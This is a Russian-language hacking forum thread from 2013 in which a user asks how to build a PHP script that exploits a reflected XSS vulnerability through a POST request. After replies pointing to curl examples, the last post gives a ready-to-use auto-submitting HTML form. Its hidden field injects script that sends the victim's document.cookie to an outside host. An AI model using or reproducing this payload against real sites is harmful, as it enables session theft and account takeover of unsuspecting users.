Скрипт для XSS

Discussion in 'PHP' started by Brooklyn111, 28 Oct 2013.

  1. Brooklyn111

    Brooklyn111 New Member

    Joined:
    13 Feb 2011
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    Дарова всем, подскажите как написать php скрипт для отправки POST запроса и переадресацией на нужный сайт на котором есть пассивная XSS в POST запросе.
    дайте вектор поиска пожалуйста.
     
    #1 Brooklyn111, 28 Oct 2013
    Last edited: 28 Oct 2013
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,582
    Likes Received:
    1,310
    Reputations:
    1,557
    "Помогите написать" или "напишите всё за меня"? Если второе, то теме место в разделе "о работе".
     
  3. t3cHn0iD

    t3cHn0iD Banned

    Joined:
    6 Apr 2009
    Messages:
    313
    Likes Received:
    63
    Reputations:
    66
    Ребята, гугл дает ответы почти на все интересующие вопросы.Только лень не дает вам возможности найти все самостоятельно.Это и к Вам, ТС, относится и к другим товарищам.
     
  4. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,399
    Likes Received:
    883
    Reputations:
    859
    Пост запрос можно передать и на HTML, если все же интиресует пхп, то смотри в сторону curl(), за тебя нашел в гугле две ссылочки по curl(), там есть примеры использования, если уж не совсем ленивый и есть знания пхп то разберешься!

    1. _ttp://myrusakov.ru/php-curl-post.html
    2. _http://webcache.googleusercontent.com/search?q=cache:W-WNFEjErQgJ:php.net/manual/ru/curl.examples-basic.php+&cd=3&hl=ru&ct=clnk&gl=ru

    вторая ссылка на кешь страници _ttp://php.net/manual/ru/curl.examples-basic.php. чето второй день наблюдаю отключку сайта(((
     
    _________________________
  5. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    winstrool, Не знаешь - лучше не отвечай.
    PHP:
    <html>
        <
    body>
            <
    form action="http://google.com/" method="POST" name="f">
                <
    input name="name" type="hidden" value="&lt;script&gt;var d = new Image();d.src = 'http://test.ru/?'+unescape(document.cookie);&lt;/script&gt;">
            </
    form>
            <
    script>
                
    document.forms.f.submit();
            
    </script>
        </body>
    </html>
    Самый простой вариант из существующих.
     
    #5 randman, 29 Oct 2013
    Last edited: 29 Oct 2013
    2 people like this.